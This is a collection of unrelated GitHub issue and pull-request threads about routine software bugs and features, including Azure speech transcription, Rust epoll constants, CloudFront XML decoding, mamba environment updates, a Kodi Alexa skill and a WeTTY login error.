I'd appreciate any help.
To Reproduce
See above.
Expected behavior
I expected to receive transcription results, but I am not receiving any result.
Version of the Cognitive Services Speech SDK
azure-cognitiveservices-speech==1.24.2
I also tested 1.25.0 - same result.
Platform, Operating System, and Programming Language

OS: Windows 10
Hardware - x64
Programming language: Python
Browser: N/A

Additional context

Error messages, stack trace, sample code to reproduce the issue, ...

Conversation ID: 98aba0af-69e5-4af1-8c6c-74a5ec2dc487
SESSION STARTED: SessionEventArgs(session_id=0cde6591651e43d1941fbf2365813386)
TRANSCRIBED: ConversationTranscriptionEventArgs(session_id=0cde6591651e43d1941fbf2365813386, result=ConversationTranscriptionResult(result_id=aef2063e138748a09b9f38ae9c62ca6f, user_id=Guest_0, utterance_id=1_Guest_0_400000, text=, reason=ResultReason.RecognizedSpeech))
CANCELED ConversationTranscriptionCanceledEventArgs(session_id=0cde6591651e43d1941fbf2365813386, result=ConversationTranscriptionResult(result_id=aaf99ffcd8984dec8c0833021bab6898, user_id=, utterance_id=, text=, reason=ResultReason.Canceled))
CLOSING ConversationTranscriptionCanceledEventArgs(session_id=0cde6591651e43d1941fbf2365813386, result=ConversationTranscriptionResult(result_id=aaf99ffcd8984dec8c0833021bab6898, user_id=, utterance_id=, text=, reason=ResultReason.Canceled))
SESSION STOPPED SessionEventArgs(session_id=0cde6591651e43d1941fbf2365813386)
CLOSING SessionEventArgs(session_id=0cde6591651e43d1941fbf2365813386)

Please provide full Speech SDK Log, as per the instructions here? -> speechsdk.log
If you report an error for a specific service interaction, please report the SessionId and time (incl. timezone) of the reported incidents. The SessionId is reported in all call-backs/events you receive. -> session_id=0cde6591651e43d1941fbf2365813386 / 10.02.2023 ~04:55 UTC+1

@d-Rickyy-b Thanks for the report. Based on the log, the audio format looks to be 2-channels, 16kHz.
The ConversationTranscriber is unfortunately currently in preview state and do not support all channel configurations.
The sample there is configured for 8 channels audio, which should work, however I would recommend joining to conversation transcriber single channel private preview by sending email to<EMAIL_ADDRESS>If you try with single channel configuration (1-channel. 16kHz), you will get an error message from the API that asks you to join to this private preview.

Closed as answered, please open a new issue if more support is needed.


Add map query

This adds a mapQuery method, which takes a mongo query and a function, it calls the function on each filter in the query and uses the returns values to construct a new query.

:heart: thanks!!


epoll event constants should be declared as u32

The current implementation declares all EPOLL* event constants as c_int, but this isn't very useful given that the accompanying field in struct epoll_event is declared as u32.
pub const EPOLLIN: c_int = 0x1;

pub struct epoll_event {
    pub events: u32,
    pub u64: u64,
}

This makes using these constants very unergonomic:
error[E0308]: mismatched types
   --> src/bin/hld.rs:256:46
    |
256 |          if event.events & EPOLLIN == EPOLLIN {
    |                            ^^^^^^^ expected `u32`, found `i32`

error[E0277]: no implementation for `u32 & i32`
   --> src/bin/hld.rs:256:44
    |
256 |          if event.events & EPOLLIN == EPOLLIN {
    |                          ^ no implementation for `u32 & i32`
    |

The first thing every user of these constants will do is redefine them as u32. Can this be done in the libc crate itself? This applies to all EPOLL* event descriptors and input flags, but not the EPOLL_CTL_* operation constants.

Taking a look at the kernel source itself, all values are of type __poll_t: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/uapi/linux/eventpoll.h
And the __poll_t type is
typedef unsigned __bitwise __poll_t;

from https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/uapi/linux/types.h#n59

Well, I can create a pull request with the straightforward s/// easily. However, I'm completely unsure of the further ramifications of this change. So I would really appreciate it if other people approach this request with due care :p


customizing css lib (e.g. Bootstrap)

with Sprockets if if a developer would use  scss file of bootstrap (E.g gem twbs/bootstrap) he could change configuration with scss variables like:
// in app/assets/stylesheets/application.scss
$primary: #c11;
@import "bootstrap";

Question 1: Is it save to assume this will not be possible with Propshaft ?  Even with Bootstrap css variables ?

I'm asking this just to be 100% sure I'm not missing something. I fully understand Propshaft is not precompiler of scss like Sprockets/Webpacker

Question 2: if so, how would developer approach this customisation ?
Is it save to assume the choices are:

esbuild or webpacker, ...   (but he we would be back to square 1 => the need of node)
dartsass-rails  (which is good, but then where would be the line what css files place to Propshaft and which to dartsass assets)
download the already costumized bootstrap.css with some tool like https://bootstrap.build/app and load that with propshaft

anything else I've missed?
(personally I prefer option 3)

You're right, Propshaft doesn't do any compilation. All three choices you mention are good solutions on how to deal with this 👍

@equivalent dartsass-rails is really good.  I use this in config/environments/production.rb to exclude the SASS files from Propshaft:
  # Exclude SASS inputs files from Propshaft.  dartsass-rails builds them
  # into app/assets/builds/application.css before Propshaft runs.
  config.assets.excluded_paths << Rails.root.join('app/assets/stylesheets')


Don't divide by time_step when computing min_dist

Dividing by time_step makes min_dist large, so avoidance steering is always activated.

OK, I'm trying to get the hang of this PR reviewing. This will be a very informal discussion of this PR.
First of all I noticed that it says “This pull request is still a work in progress / Draft pull requests cannot be merged.” with a button that says “Ready for review.” Is that for me or you to push?
 It is a confusing mess! Notably, the way it computes if avoidance is needed (the old way) and if not (if weight is < 0.1) it then tries Boid.prototype_fly_away_from_obstacle() and sets weight to 1.
With the division by time_step (as before) I see the the magenta “a collision seems imminent” annotation as boids fly toward the sphere and get close. When that happens they seem to turn away from the impact. Without the division by time_step (as in the PR) I do not see the annotation, but they do seem to avoid the wall.
I tried turning off (commenting out) this bit:
            if weight < 0.1:
                avoidance = self.prototype_fly_away_from_obstacle()
                weight = 1

Then I started seeing boids fly through the sphere, and the avoid_fail counter started going up.
I also did some “printf debugging.” In that case with prototype_fly_away_from_obstacle() disabled, but with the division by time_step (as before) I see some “near” and some “not near” — which seems right:

near = False
weight = 1.379121384252363e-08
near = False
weight = 2.453031926272083e-88
near = True
weight = 0.9999999999934386
near = False
weight = 0.003845703041534661
near = False
weight = 1.7307273427178302e-16
near = True
weight = 0.999993173235633
near = False
weight = 2.8280435871689588e-39

Without the division by time_step (as in the PR) I see mostly “not near”:

near = False
weight = 1.324405074420532e-262
near = False
weight = 6.569676224788449e-264
near = False
weight = 6.569676224788449e-264
near = False
weight = 6.569676224788449e-264
near = False

So I guess what I'm looking for is a convincing argument that not dividing by time_step is the right thing. I'm genuinely unsure, not saying you are incorrect.

Is that for me or you to push?

I think either of us can press it. I left this one as a draft because I wasn't sure about its correctness though.
I thought about it more and realized removing the division here is necessary when changing the dynamics, but the division is correct for the current dynamics - sorry for the mixup from me trying to split up a few days' worth of changes. My understanding now is that the units for self.speed are meters/frame, and time_step is seconds/frame, so this expression self.speed * min_time_to_collide / time_step works out to meters. In that case, I think predict_future_collisions also needs to take time_step into consideration when computing time_to_collision. In particular, I think dist_to_collision / self.speed should have an extra factor of * time_step to be in seconds. In practice, this doesn't actually matter because only the relative ordering of time_to_collision is used and not the specific value.

I did not originally notice that the two PRs were listed in most-recent-first order, so started with what turned out to be number 2, which seemed nice and simple. Sorry for that confusion.

...My understanding now is that the units for self.speed are meters/frame, and time_step is seconds/frame, so this expression self.speed * min_time_to_collide / time_step works out to meters...

The units, which are meant to be MKS. There are comments in and Boid (and Agent) to that effect:
        self.max_speed = 0.3     # Speed upper limit (m/s)
        self.max_force = 0.6     # Acceleration upper limit (m/s²)

Distances are meant to be meters, speeds are meters per second, acceleration (and with the assumption of unit mass, force) are meters per second per second. Times like time_step are measured in seconds.
I will be busy with other things until this evening, so may not return to this until tomorrow.

LGTM!
Sorry for the slow review while I re-learned how to do this.
I ran Matthew's branch and verified that near in Boid.steer_to_avoid() is usually false, but occasionally true, which is what I expect. I also logged collisions[0].time_to_collision inside Boid. predict_future_collisions() and its values seemed to fall in a reasonable range. I think only the 0.2 value might indicate avoidance steering is required?
collisions[0].time_to_collision = 0.9625429325624689
collisions[0].time_to_collision = 19.073546458643907
collisions[0].time_to_collision = 1.232696218772438
collisions[0].time_to_collision = 2.2938222209594255
collisions[0].time_to_collision = 15.726461331526544
collisions[0].time_to_collision = 4.636212926612345
collisions[0].time_to_collision = 2.679999436972674
collisions[0].time_to_collision = 2.6488111298616612
collisions[0].time_to_collision = 0.28918605508051215
collisions[0].time_to_collision = 4.024314003730001

In the current simulation, which occurs inside an obstacle, an agent's forward path always intersects the obstacle. It is hard to know if this code is actually correct until we have environments with multiple obstacles. That is “on the list.”


RFM - ccenhancer

Current Maintainer

[x] I am the maintainer of the package and wish to pass it to someone else;

I DON'T Want To Become The Maintainer

[ ] I have followed the Package Triage Process and I do NOT want to become maintainer of the package;
[x] There is no existing open maintainer request for this package;

Checklist

[x] Issue title starts with 'RFM - '

Existing Package Details
Package URL: https://chocolatey.org/packages/ccenhancer
Package source URL: https://github.com/aronovgj/choco-auto/tree/master/ccenhancer

Status: In progress

Waiting to be added as maintainer (request already sent to Chocolatey contact-site admins).
Updated packages ready to be pushed:

https://github.com/chtof/chocolatey-packages/tree/master/automatic/ccenhancer
https://github.com/chtof/chocolatey-packages/tree/master/automatic/ccenhancer.install
https://github.com/chtof/chocolatey-packages/tree/master/automatic/ccenhancer.portable

Status: Review

https://chocolatey.org/packages/ccenhancer
https://chocolatey.org/packages/ccenhancer.install
https://chocolatey.org/packages/ccenhancer.portable


Scrum 2611 - topic and entity tag api now using 'page' and 'page_size' instead of 'offset' and 'limit'

page starts from 1 and is set to 1 if the provided value is < 1

thanks @azurebrd and @sweng66


Fix environment variable handling to Config class

Q
A

Is bugfix?
✔

New feature?
❌

Breaks BC?
❌

Fixed issues
-

👍


Getting error loading Cloudfront distribution on create

Screenshot:

I dug into it a bit, appears this error is coming from the goamz module Stout uses under the hood when it tries to fetch the Cloudfront information. It appears to be attempting to deserialize XML which isn't valid XML and it barfs.
Side note: Any reason Stout isn't using the official AWS Go library?
Will continue to investigate and update here as this makes Stout unusable for me, can't even create a site.

More details:

My AWS credentials do have full access to read Cloudfront distributions, S3 buckets, and so on
Using the aws cli, I can perform the command aws cloudfront list-distributions with the same AWS credentials I am using for Stout and it works fine, returning all the information on my Cloudfront distributions
I was able to dump out the XML response in the goamz module specifically here and it does appear to be a valid XML response. I'm guessing it's just trying to deserialize it and running into issues with the struct expecting something to be an Integer when it's just not present.

Ok bit more progress, definitely an XML decoding issue in the goamz module.
In addition to throwing the error on line 625 in cloudfront.go as I referenced in my last comment when the XML is being decoded (strconv.ParseInt: parsing "": invalid syntax), when I inspect the distributions it got from the decoder it only has the first distribution whereas I actually have 14 distributions returned in the XML.
Trying to figure out what about my Cloudfront distributions could have caused issues with it, we don't have anything unorthodox that I'm aware of.
I'd open an issue on the goamz module but that fork appears to be only used here...

Hey @victorquinn,
We don't use the official AWS Go library only because our use of goamz predates its release.  Any chance you can post the XML it's trying to decode? In particular we are looking for something which is an int here (like this, this or this) but is either blank or not included in the XML text.

Hi @zackbloom thanks for ringing in.
Don't feel comfortable posting it (as it includes some sensitive company information), but happy to send it to you directly for analysis. I'm looking myself and haven't been able to see anything out of the ordinary.
Everything in the structs which should be an int is an int in the XML that I can see. It's 1300 lines of XML so it's taking some time to go through every possibility.

With the addition of some println statements in the goamz module, isolated that it's throwing the error trying to decode the CustomErrorResponses chunk.
It appears that one of my Cloudfront distributions has CustomErrorResponse items with a blank ResponseCode tag whereas the goamz struct which corresponds to it expects that to be an int. See my attached screenshot:

Yup, confirmed, it was CustomErrorResponse.
I didn't actually need those so I went into Cloudfront and removed all of them and re-ran it and everything works perfectly now.
Should update the goamz fork to allow Cloudfront distributions with Custom Error Responses because I suspect not all organizations will be able to just delete them in order to get Stout to run.

Should be fixed by https://github.com/EagerIO/Stout/commit/2822cca845e7032f25c3fbeb8f51265c395eca44 as it replaces the goamz/cloudfront package with the official AWS Go SDK.


drop bower

Bower is dead and all dependencies should be moved to npm / package.json.

Good point. This was planned anyway, and will be dropped at some point.

At least there are no dependencies in there. Bower can pull packages from npmjs and GitHub so the bower file should be already obsolete afaik.


When in the instant action menu, the 'M' key does not open any menus.

Do you see a RavenM ID on the bottom left corner of your screen? If not, then the mod was not installed correctly. Ensure:

You are on BepInEx 5, not 6
If you are using a macOS/Linux device, then you followed the instructions for your platform


Narrower column width & floating toolbar

narrower default width of vector columns
floating toolbar with buttons in header
addreses #348

When I hover over the column title all toolbars appear, but do not hide again.

@thinkh both issues should be fixed now


make version

I'm almost sure this isn't an issue with your code but once I run make (after the cmake command) i get the following error:
/home/lucky/tmfs/src/tmfs.hh:24:10: fatal error: filesystem: No such file or directory
 #include <filesystem>
          ^~~~~~~~~~~~

From what I understand this is an issue with my version of C++ not being sufficiently up to date. However I've updated my GCC version already so I'm not sure what the issue is any more.

Output of gcc --version:
gcc (Ubuntu 8.4.0-1ubuntu1~18.04) 8.4.0
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

Output of c++ --version:
c++ (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
Copyright (C) 2017 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

What's the issue here?

Well apparently the symlink for c++ was pointing to an old version of g++. Since g++-8 was installed already, sudo ln -sf c++ /usr/bin/g++-8 did the trick.


deployment.py now expands vars in deploy,json urls

Given that pype-setup allows for custom deploy.json with user specified urls of repos such as pype-config, it makes sense to expandvars for environment variables for private keys in the repo url.
I have added this by simply adding os.path.expandvars in the definition of the 'path' var in deployment.py.
This will expand vars in linux like: $MY_ENV_VAR or in windows: %MY_ENV_VAR%.

Excuse me, this was incorrect. I will make a corrected one.


Using real URL for dictionary URL

Currently, the dictionary URL contain arbitrary placeholders, it has a few consequences:

The dictionary input filed cannot be set of type "url", though it gives nice features to virtual keyboard users.
The URL become difficult to manipulate on dev side. They needed to be tweaked in several way to detect Pop-Up and insert term.
It's a very rigid system. With the official LWT, a third feature "word encoding" was present and was incredibly hard to implement.

I formatted everything with a proper URL in my fork of LWT, as it works better than the previous system I would like to apply a similar system here. Let me detail it.
General approach
As far as I have though, the best system is to replace arbitrary code by instructions preceded by a nice prefix like "lute_". For instance:

Replace term placeholder ### by lute_term.
Replace the placeholder indicator * by an argument lute_popup=1
It will easily be extended on the fly.

A bit more about Pop-Up marker
I don't think this part should go into the dictionary URL, as it makes it longer whatsoever and can be confusing for users. A field "display in pop-up", with a database counterpart can be better, but it is slightly more difficult to implement.
Backward compatibility
Backward compatibility with the "placeholder" system was not to hard to achieve, it shouldn't be harder to achieve here. I would also like to add a compatibility with my (prefixed by lwt_) if you don't have any objection against it.
If it makes sense to you, I can work on it and make a nice PR.

I'm on the fence with this idea, and feel that it's not immediately necessary -- the current code works -- so we should hold off until it's needed.
I totally agree that the leading asterisk isn't a great design -- I have an old TODO in the code to remove this thing, but it has never been a priority :-)
It's not difficult to manipulate the URLs, they're just strings and tokens.  Again, the current code works and is not the cause of any real dev thrash. :-)  If we replace tokens by other tokens, it's still the same kind of string-parsing effort.
With regard to it being a rigid system -- I haven't had the need yet to make it more flexible, and I don't want to implement things that only might be needed in the future. :-)  Designing for the future is almost always a bad idea.
Some alternatives to this idea:
add "display in popup" checkbox
This would just require a db migration and change to the language form and processing.  Wouldn't be that hard to do. :-)  Is probably the right thing to do, as a first step.
a longer-term alternative -- more work though :-P - and probably should be put into its own GitHub issue
I think that rather than put more magic placeholders into the URL string, it would be better to revamp the way that dictionary entries are stored.  The revamp will be more work, but will potentially open up other possibilities.  e.g., rather than store a string with a bunch of behaviour-specifying flags, there could be a brand new user form like this:

dictionary URL : textbox, the url with "###" placeholders :-D
opens in pop-up? : checkbox
encoding : dropdown or textbox
returns : dropdown (html default, or json -- reason for the "json" option is that some languages seem to only have dictionaries available via a json API)

These would be stored in a new dictionaries table, and would be linked to the languages.  First draft UI implementation could be a dedicated UI screen to define dictionaries, that would be easiest (It's possible to create child subforms, but I haven't done that yet in Symfony :-) ).
One dict would have to be marked as primary.  A language could define one or multiple dicts.

Basically I had to change the dictionary system when I wanted a closer integration with dictionaries such as LibreTranslate, now LWT supports auto-translation with this dictionary, and it can be expanded to other API quite easily.
For the popup, I did it for LWT (see picture), it was not hard and makes the life of users much easier.

It's up to you if you want me to do a similar system, or if you prefer to way for a dictionary cycle!
About the longer-term alternative, well, let see that in the future :smile:

Do you just use LibreTranslate for the auto-translate, or can users pick it as a dictionary as well?
If the former, then it's outside of the dictionary domain.
If the latter, then I can perhaps see why a change would be necessary -- but on first thought I'd likely go a different route with the design anyway, since the behaviour is completely different than a normal http dictionary web page.  Different behaviour = different code class.

Users can use LibreTranslate as a dictionary as well, but it's a translator, so that's not recommended. LWT-fork currently has a unified syntax between dictionaries/translator, which is simpler for users, and strongly reduces code paths on dev side. Currently it serves as a one way-fit-all solution.
For me one of the biggest strength of Lingq is it's integration of dictionaries seamlessly, as LUTE is much versatile by nature a good handling of dictionaries saves time and tears. As you suggest a more profound change, do you have any precise system you want to implement?

Yeah the LingQ pre-defined dictionaries are handy, for sure.  Most of their dicts are in pop-up windows, from what I've seen, so they're still just using URLs and token substitution of some sort.
I don't think removing special tokens from the URL is worth it, at the moment, so I don't want to do more work on dictionaries.  We shouldn't do work just because it's possible.  If there's a concrete need later, can revisit.  The precise system is detailed above, at least my first idea of it :-) I haven't thought in depth on it because I don't have a concrete need for it.
LibreTranslate support is a non-trivial piece of work that should go into its own ticket.

We shouldn't do work just because it's possible. If there's a concrete need later, can revisit.
I expected this kind of answer :smile: It was something that became necessary for LWT-fork, but it's as you wish for LUTE!

LibreTranslate: I agree with that, it was an example of use case, not something I wanted to tackle here.
So I think we can close this issue, maybe to restore it later on.


listen tcp :80: bind: permission denied

run at dsm docker fail , log :
2019/07/17 01:15:05 Listen: listen tcp :80: bind: permission denied

Which command did you run?
Which version of gollum-galore are you talking about?
What does docker version return?

run at DSM 6.2.1-23824
dsm docker version 17.05.0-0401

The information you're providing is rather scarce.
I happen to have a similar setup at hand and I can start gollum-galore successfuly:
$ docker version
#....
Server:
 Version:      17.05.0-ce
 #...
$ docker run --rm schnatterer/gollum-galore:0.5.1
#...
Status: Downloaded newer image for schnatterer/gollum-galore:0.5.1
Starting Gollum Galore 0.5.1 (commit b233e93)
Initialized empty Git repository in /gollum/wiki/.git/
Activating privacy features... done.

Serving HTTP on port 80
http://

[2019-07-17 13:52:33] INFO  WEBrick 1.4.2
[2019-07-17 13:52:33] INFO  ruby 2.6.2 (2019-03-13) [x86_64-linux-musl]
== Sinatra (v1.4.8) has taken the stage on 4567 for development with backup from WEBrick
[2019-07-17 13:52:33] INFO  WEBrick::HTTPServer#start: pid=1 port=4567

Maybe dsm docker not allow listen at 80 port, ok closed


backend init fails when using non-default etc_dir

Description of problem
Execution of sensu-backend init fails when using a non-default value for sensu::etc_dir
Anything else to add that you think will be helpful?
Around https://github.com/sensu/sensu-puppet/blob/v5.5.0/manifests/backend.pp#L377-L392 I think the --config-file flag should be used to explicitly specify path to ${sensu::etc_dir}/backend.yml.

Thank you for submitting this along with the great explanation. We are looking into it.

@cwjohnston This is fixed as of v5.5.1


[Feature]: Publish to Conda

Describe the feature you want to add
add associated GitHub action to publish to conda(like PyPI auto-upload)
Describe your proposed solution
No response
Describe alternatives you've considered, if relevant
No response
Additional context
No response

Hi Sadra, could you please do this task?
@sadrasabouri

I will soon add the anaconda token to the repositories secrets.

I will soon add the anaconda token to the repositories secrets.

Hi Sadra, could you please do this task? @sadrasabouri

Yes, sure. I self-assign it.

I will soon add the anaconda token to the repositories secrets.

Let me know when you added it then I will start.

@sepandhaghighi can you start to work on this? it is crucial for this release.

I was waiting for you to add an anaconda token to the repository secret and update this thread. As mentioned in the latest message.

Oh shit, sorry Sadra, sure!

@sadrasabouri
Anaconda Token is added as a single repository secret.
Go ahead man.


We get it again with https://github.com/eyereasoner/color/blob/main/examples/fourcolor.pl

          We get it again with https://github.com/eyereasoner/color/blob/main/examples/fourcolor.pl

To reproduce it, you can
git clone https://github.com/eyereasoner/color
cd color
./color examples/fourcolor.pl

and it will give
% running examples/fourcolor.pl
B => true.
C => true.
D => true.
E => true.
F => true.
G => true.
H => true.
I => true.
...

When using some other IRI's like in https://github.com/eyereasoner/color/blob/16e313cb787c039627e5682a6f3fd68ef1f5a07f/examples/fourcolor.pl it works https://github.com/eyereasoner/color/blob/16e313cb787c039627e5682a6f3fd68ef1f5a07f/result.pl#L48-L96
Originally posted by @josd in https://github.com/trealla-prolog/trealla/issues/571#issuecomment-2473846517

I don't understand what i'm seeing here. Can you point out exactly what's wrong and what should be.

Never mind, I can see it now.

Don't you need to sleep ;-)
Happy that you saw it and even more happy that you solved it!
It now works fine and the fourcolor example now gives the expected https://github.com/eyereasoner/color/blob/90c2b595bd21310f98d51bfc11afd5d5955444ca/result.pl#L62-L110


Default capping value should be 100%

I always find myself setting it to that value anyway.

Closing as this is currently the default.


Add travis-ci file

Travis-ci for continuous integration
we need to automate some stages, so travis can cover this
Describe the solution you'd like
Using travis-ci for continuous integration  is an easy and fast option.
Add a file called .travis.yml to root folder containing:
language: node_js
node_js:
- "10"

closed by #44


mamba env update removes packages from existing environment

mamba env update should add specs from an environment.yml to an existing environment. However, it appears to replace the environment instead, ignoring what's already there and removing any packages not in the given environment.yml
Full repro steps
# environment.yml
dependencies:
- xz

mamba create -n test zlib
mamba env update -n test -f environment.yml
mamba list -n test

This pattern is how repo2docker installs user packages, so I ran into this when testing if mamba is ready for another go over there, but this issue is a blocker.

Complete output, including demonstration that conda adds packages, while mamba removes them:

(base) minrk[14:51]/tmp $ mamba create -n test zlib
Looking for: ['zlib']

Transaction

  Prefix: /Users/minrk/conda/envs/test

  Updating specs:

   - zlib

  Package  Version  Build          Channel                  Size
──────────────────────────────────────────────────────────────────
  Install:
──────────────────────────────────────────────────────────────────

  zlib      1.2.11  h01d97ff_1006  conda-forge/osx-64     Cached

  Summary:

  Install: 1 packages

  Total download: 0  B

──────────────────────────────────────────────────────────────────

Preparing transaction: done
Verifying transaction: done
Executing transaction: done
#
# To activate this environment, use
#
#     $ conda activate test
#
# To deactivate an active environment, use
#
#     $ conda deactivate

(base) minrk[14:52]/tmp $ conda list -n test
# packages in environment at /Users/minrk/conda/envs/test:
#
# Name                    Version                   Build  Channel
zlib                      1.2.11            h01d97ff_1006    conda-forge

(base) minrk[14:52]/tmp $ cat environment.yml
dependencies:
  - xz
(base) minrk[14:52]/tmp $ conda env update -f environment.yml
Collecting package metadata (repodata.json): done
Solving environment: done
#
# To activate this environment, use
#
#     $ conda activate /Users/minrk/conda
#
# To deactivate an active environment, use
#
#     $ conda deactivate

(base) minrk[14:52]/tmp $ conda list
^C
CondaError: KeyboardInterrupt

(base) minrk[14:53]/tmp $ conda env update -n test -f environment.yml
Collecting package metadata (repodata.json): done
Solving environment: done
Preparing transaction: done
Verifying transaction: done
Executing transaction: done
#
# To activate this environment, use
#
#     $ conda activate test
#
# To deactivate an active environment, use
#
#     $ conda deactivate

(base) minrk[14:53]/tmp $ conda list -n test
# packages in environment at /Users/minrk/conda/envs/test:
#
# Name                    Version                   Build  Channel
xz                        5.2.5                h0b31af3_0    conda-forge
zlib                      1.2.11            h01d97ff_1006    conda-forge
(base) minrk[14:53]/tmp $ mamba env update -n test -f environment.yml

Looking for: ['xz']

Transaction

  Prefix: /Users/minrk/conda/envs/test

  Updating specs:

   - xz

  Package  Version  Build       Channel                  Size
───────────────────────────────────────────────────────────────
  Install:
───────────────────────────────────────────────────────────────

  xz         5.2.5  h0b31af3_0  conda-forge/osx-64     Cached

  Summary:

  Install: 1 packages

  Total download: 0  B

───────────────────────────────────────────────────────────────

Preparing transaction: done
Verifying transaction: done
Executing transaction: done
#
# To activate this environment, use
#
#     $ conda activate test
#
# To deactivate an active environment, use
#
#     $ conda deactivate

(base) minrk[14:54]/tmp $ conda list -n test
# packages in environment at /Users/minrk/conda/envs/test:
#
# Name                    Version                   Build  Channel
xz                        5.2.5                h0b31af3_0    conda-forge

This would need a couple of touch-ups in mamba_env.py (https://github.com/TheSnakePit/mamba/blob/master/mamba/mamba_env.py)

This is fixed, but I opened a new item for better supporting the current conda behavior.


Added agreement put.

Coverage remained the same at 85.876% when pulling 43570da12ae07e32feaa4d62ae5222c3a6616bac on agreementPut into fd040478e63ac33eeaa6c8a82919a37a26a1c4d5 on master.

Actually, there are several issues here.

removes existing route (routes are not tested completely)
new route requires id, and then throws it away
why does this duplicate existing POST?

This was indeed not necessary.
Yes. Request does deliver the id so this should propably be changed.
Because normally PUT is used to update existing resources. It is most likely smart to refactor the agreement save function to two functions: create and update.

Sorry for bad quality checks. I try to avoid bad requests like this one in the future.
But atleast everything seems to be working now.


Fix rsplit

Codecov Report

Merging #992 into master will increase coverage by 0.05%.
The diff coverage is 100%.

@@            Coverage Diff             @@
##           master     #992      +/-   ##
==========================================
+ Coverage    64.8%   64.85%   +0.05%
==========================================
  Files          93       93
  Lines       16671    16672       +1
  Branches     3779     3779
==========================================
+ Hits        10803    10812       +9
+ Misses       3363     3352      -11
- Partials     2505     2508       +3

Impacted Files
Coverage Δ

vm/src/obj/objstr.rs
73.73% <100%> (+1.16%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5ff766a...433434a. Read the comment docs.


Clean video library broke

Now when requesting to clean the video library it triggers a "home menu" command, then updates the library, rather than just cleaning it. Im sure the updating is normal as that seems to have started before hand, but the cleaning never happens anymore.
Thanks for the updates!!!

The Home and Update Library commands are intended, but I'm not so sure it should Update honestly.
I'd personally expect this command to just clean the library, not update as well.

On the clean, I'm having it do the update so that if you have a file that replaces another fike , it'll mark the new file with the same watched status before it cleans out the old one.
For some reason with the threading, it's not running the threaded command until after another command runs, so that's why I threw in the home command. I'm sure there is a work around, I just need to spend a few more minutes on it.

It's not even displaying the cleaning dialog it normally would as it ran
through the cleaning. Now it just goes home then updates the library
without cleaning.
On Oct 5, 2016 12:50 AM, "Joe Ipson"<EMAIL_ADDRESS>wrote:

On the clean, I'm having it do the update so that if you have a file that
replaces another fike , it'll mark the new file with the same watched
status before it cleans out the old one.
For some reason with the threading, it's not running the threaded command
until after another command runs, so that's why I threw in the home
command. I'm sure there is a work around, I just need to spend a few more
minutes on it.
—
You are receiving this because you authored the thread.
Reply to this email directly, view it on GitHub
https://github.com/m0ngr31/kodi-alexa/issues/18#issuecomment-251587828,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABI0DhJsYWxKfRCA2ezQsra9QyqquaI1ks5qwzqbgaJpZM4KOYlU
.

Okay, I'll look into this.

Was this fixed by chance? I havent synced since the 2.0 release, so wasnt sure if there was any reason to sync at this point.

Not yet, but you can check the changelog for other reasons to update.

I submitted a PR to fix this: #68. I'll close this when it gets merged.

@edru, let us know when you've had a chance to test the fix in #68.

Just updated, seems the behavior is the same. Home screen, video library updates. No cleaning dialog appears and it jumps straight to updating.
If this makes a difference I am running Kodi on the latest version of Android (a Shield TV)

Stopped apache
renamed kodi-alexa folder
synced new copy from git master
modified IP to connect properly to media center
Started apache
"Alexa, tell the media center to clean the video library" (saying just "library" defaults to audio now, where as it used to default to video
No more home activity, but the updating of the library occurs immediately, and that's it. After the update, nothing further happens. Confirmed this with a new show in which a higher quality was downloaded. The older entry never removed itself after the command.
Rebooted apache server for good measure
Behavior still the same

So all in all "clean video library" just does a video library update, but the "home" action no longer occurs.
It was mentioned that this may be a threaded activity, not sure if you are trying to clean and update at the same time, but I know that it is not possible. KODI is a weirdo about allowing 2 things to happen w/ the library at once. (just try to do it manually and you will see it wont allow it).
Setup:
Kodi installed on NVIDIA Shield TV on Android 6.0
~6 TB of media on a virtual ubuntu server 16 (local) (OS on SSD, media all on spinning disk w/ 10 GB SSD cache)
Library is hosted on a virtual ubuntu server 16 w/ SQL (pure SSD)
All connections running over CAT5e (no wifi involved)
1 Gb WAN if it has to reach out to the web for anything

It might be best then to just skip Updating the library first (maybe not as convient though). I'm just not sure there is a way to make it wait for the update to run and then clean consistently for every device.

I don't personally think it's a problem to separate them, since Kodi itself does it this way anyway.  I'm sure users are used to doing it.

Yeah, I think you'll just have to do it in two commands @edru.

I guess I'll leave this open until I fix the clean.

I just commited the change to make it just clean the libraries.

Ill test when I get home today. I dont mind two commands, I was used to doing it that way from teh beginning. Some skins even have an option to add cleaning after updating anyways.
Thanks for looking into it. Ill report back in sometime over the holiday.


bash command -p not found

Describe the bug
After logging in, SSH gets a "bash: command not found '-p'".
To Reproduce
Steps to reproduce the behavior:
0. Spend a few hours trying to get Apache to reverse proxy wetty, finally get it to work

Log in
Get error

Expected behavior
Log in works successfully
Screenshots

Desktop (please complete the following information):

OS: Mac OSx
Browser: Chrome
Version: 87.0.4280.141

Smartphone (please complete the following information):
n/a
Additional context
Fedora 33 server.  Checked user profile that gets error, does not happen in regular SSH session.
Checked in a bunch of areas, even tried digging through code and using strace to watch what the program is doing.  Couldn't find anything, so I'm hoping someone has had this issue or knows where to else look.
Apache config (much larger but this part relates to wetty):
VirtualHost:443
...
RewriteCond %{HTTP:Upgrade} =websocket [NC]
RewriteRule /(.) ws://localhost:3000/$1 [P,L]
<LocationMatch ^/wetty(.)>
DirectorySlash On
Require all granted
ProxyPassMatch http://<IP_ADDRESS>:3000
ProxyPassReverse /wetty/
#LimitRequestBody<PHONE_NUMBER>

...

systemd config:
[Unit]
Description="WeTTY Daemon"
[Service]
ExecStart=/usr/local/bin/wetty &
User=wetty
Group=wetty
Type=simple
#PIDFile=/run/anyterm/anytermd.pid
Restart=on-failure
[Install]
WantedBy=apache2.service
logs show:
